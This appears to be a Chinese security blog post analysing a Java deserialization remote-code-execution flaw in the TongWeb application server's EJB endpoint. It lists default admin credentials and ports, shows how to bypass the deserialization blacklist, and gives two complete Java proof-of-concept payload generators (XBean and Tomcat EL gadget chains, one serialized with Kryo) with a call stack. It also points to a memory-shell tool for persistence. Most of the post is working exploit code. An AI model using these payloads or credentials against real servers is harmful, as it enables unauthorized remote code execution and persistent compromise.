默认账号密码:

1
2
3
4
# console
thanos/thanos123.com
# sysweb
cli/cli123.com

tongweb配置文件:conf/tongweb.xml

默认端口如下:

默认端口 端口作用
8088 默认应用访问端口
9060 默认控制台端口
7200 JMX端口
5100 EJB远程端口
8005 默认停止端口

开启调试:
.\startserver.bat debug 5005

补丁分析

漏洞信息:https://www.tongtech.com/newsDetail/102461.html
补丁下载:https://www.tongtech.com/dft/download.html

影响产品版本:

1
2
TongWeb>=7.0.0.0, <=7.0.4.9_M9
TongWeb>=6.1.7.0, <=6.1.8.13

可以知道漏洞在 8088 web应用端口的ejbserver/ejb接口

看到com/tongweb/tongejb/server/httpd/ServerServlet.class

多了一段代码:

1
2
3
4
5
String connectorName = OpenEJBValve.connectorName.get();
if (!"ejb-server-listener".equals(connectorName)) {
response.setStatus(404);
return;
}

限制了我们的connectorName必须为ejb-server-listener,否则直接返回404

我们通过8088端口访问的话connectorName为tong-http-listener

所以说,这个补丁的作用就如其名:《TongWeb应用服务器关闭web应用端口EJB服务补丁》

漏洞分析

看到applications/heimdall/WEB-INF/web.xml,默认/ejb是被注释的

实则不然

全局搜索/ejb,可以发现在/lib/tongweb.jar!/com/tongweb/tomee/catalina/remote/TomEERemoteWebapp.class

新增了该Servlet

接下来就是反序列化逻辑了

TW7.0.4.2

看到com.tongweb.tongejb.server.ejbd.EjbServer#service

跟进com.tongweb.tongejb.server.ejbd.EjbDaemon#service

调用了两次readExternal,第一次:com.tongweb.tongejb.client.ProtocolMetaData#readExternal

传入的前八个字节必须满足正则匹配

1
^OEJP/[0-9]\\.[0-9]$

第二次:com.tongweb.tongejb.client.ServerMetaData#readExternal

in.readByte()读取了一位字符,所以我们需要在序列化时先填入一位字符
最后触发反序列化

注意这里用的是EjbObjectInputStream,存在黑名单(这里用的高版本黑名单):

1
2
3
public BlacklistClassResolver() {
this(toArray(System.getProperty("tongejb.serialization.class.blacklist", "org.codehaus.groovy.runtime.,com.tongweb.commons.collections.functors.,com.tongweb.xalan,org.apache.commons.collections.functors.,org.apache.xalan,java.lang.Process,javax.management.BadAttributeValueExpException,com.sun.org.apache.xalan,java.beans.beancontext.BeanContextSupport")), toArray(System.getProperty("tongejb.serialization.class.whitelist")));
}

绕过也很简单,打XBean+Tomcat EL即可

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import com.tongweb.naming.ResourceRef;
import com.tongweb.xbean.naming.context.WritableContext;
import sun.reflect.ReflectionFactory;

import javax.naming.RefAddr;
import javax.naming.StringRefAddr;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.nio.charset.StandardCharsets;
import java.util.*;

public class XBeans {
public static void main(String[] args) throws Exception {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
Vector<RefAddr> evilVector = new Vector<>();
evilVector.add(new StringRefAddr("forceString", "x=eval"));
evilVector.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));

setFieldValue(resourceRef, "className", "javax.el.ELProcessor");
setFieldValue(resourceRef, "classFactory", "com.tongweb.naming.factory.BeanFactory");
setFieldValue(resourceRef, "addrs", evilVector);
Constructor<?> constructor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(WritableContext.class, Object.class.getConstructor());

com.tongweb.xbean.naming.context.ContextUtil.ReadOnlyBinding binding = new com.tongweb.xbean.naming.context.ContextUtil.ReadOnlyBinding("foo", resourceRef, (WritableContext) constructor.newInstance());

Hashtable hashtable = makeTableTstring(binding);

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
baos.write("OEJP/4.6".getBytes(StandardCharsets.UTF_8));
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeByte(1);
oos.writeObject(hashtable);
oos.close();

byte[] serializedData = baos.toByteArray();
FileOutputStream fos = new FileOutputStream("output.ser");
fos.write(serializedData);
fos.close();
}

public static Hashtable makeTableTstring(Object o) throws Exception{
Map tHashMap1 = (Map) createWithoutConstructor(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
Map tHashMap2 = (Map) createWithoutConstructor(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
tHashMap1.put(o,"yy");
tHashMap2.put(o,"zZ");
setFieldValue(tHashMap1,"loadFactor",1);
setFieldValue(tHashMap2,"loadFactor",1);

Hashtable hashtable = new Hashtable();
hashtable.put(tHashMap1,1);
hashtable.put(tHashMap2,1);

tHashMap1.put(o, null);
tHashMap2.put(o, null);
return hashtable;
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

@SuppressWarnings ( {"unchecked"} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T)sc.newInstance(consArgs);
}
public static void setAccessible(AccessibleObject member) {
member.setAccessible(true);
}

public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}

}

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
getValue:61, ELProcessor (javax.el)
eval:54, ELProcessor (javax.el)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getObjectInstance:211, BeanFactory (com.tongweb.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
resolve:73, ContextUtil (com.tongweb.xbean.naming.context)
getObject:204, ContextUtil$ReadOnlyBinding (com.tongweb.xbean.naming.context)
toString:192, Binding (javax.naming)
get:1251, UIDefaults$TextAndMnemonicHashMap (javax.swing)
equals:492, AbstractMap (java.util)
reconstitutionPut:1241, Hashtable (java.util)
readObject:1215, Hashtable (java.util)

内存马可以用:https://github.com/ReaJason/MemShellParty 项目,打TongWeb的Valve

TW7.0.4.9

看到较新版本:TongWeb7.0.4.9_M4_Enterprise_Linux

这里稍作修改,第一个readExternal内容为空

看到第二个:com.tongweb.tongejb.client.ServerMetaData#readExternal

首先读取size>=2,然后调用com.tongweb.tongejb.client.KryoUtil#readFromByteArrayBySize

我们可以直接调用writeToByteArray实现序列化

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import com.tongweb.naming.ResourceRef;
import com.tongweb.tongejb.client.KryoUtil;
import com.tongweb.xbean.naming.context.WritableContext;
import sun.reflect.ReflectionFactory;

import javax.naming.RefAddr;
import javax.naming.StringRefAddr;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.*;

public class XBeans2 {
public static void main(String[] args) throws Exception {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
Vector<RefAddr> evilVector = new Vector<>();
evilVector.add(new StringRefAddr("forceString", "x=eval"));
evilVector.add(new StringRefAddr("x", "Runtime.getRuntime().exec('touch /tmp/success')"));

setFieldValue(resourceRef, "className", "javax.el.ELProcessor");
setFieldValue(resourceRef, "classFactory", "com.tongweb.naming.factory.BeanFactory");
setFieldValue(resourceRef, "addrs", evilVector);
Constructor<?> constructor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(WritableContext.class, Object.class.getConstructor());

com.tongweb.xbean.naming.context.ContextUtil.ReadOnlyBinding binding = new com.tongweb.xbean.naming.context.ContextUtil.ReadOnlyBinding("foo", resourceRef, (WritableContext) constructor.newInstance());

Hashtable hashtable = makeTableTstring(binding);

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeInt(2);
byte[] data = KryoUtil.writeToByteArray(hashtable,Thread.currentThread().getContextClassLoader(),false);
oos.writeInt(data.length);
oos.write(data);
oos.flush();

byte[] serializedData = baos.toByteArray();
FileOutputStream fos = new FileOutputStream("output.ser");
fos.write(serializedData);
fos.close();
}

public static Hashtable makeTableTstring(Object o) throws Exception{
Map tHashMap1 = (Map) createWithoutConstructor(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
Map tHashMap2 = (Map) createWithoutConstructor(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
tHashMap1.put(o,"yy");
tHashMap2.put(o,"zZ");
setFieldValue(tHashMap1,"loadFactor",1);
setFieldValue(tHashMap2,"loadFactor",1);

Hashtable hashtable = new Hashtable();
hashtable.put(tHashMap1,1);
hashtable.put(tHashMap2,1);

tHashMap1.put(o, null);
tHashMap2.put(o, null);
return hashtable;
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

@SuppressWarnings ( {"unchecked"} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T)sc.newInstance(consArgs);
}
public static void setAccessible(AccessibleObject member) {
member.setAccessible(true);
}

public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}

}

参考:
https://github.com/Gary-yang1/TongwebPlugin
https://mp.weixin.qq.com/s/KVxSWfVhgjj8mejmfl6gGg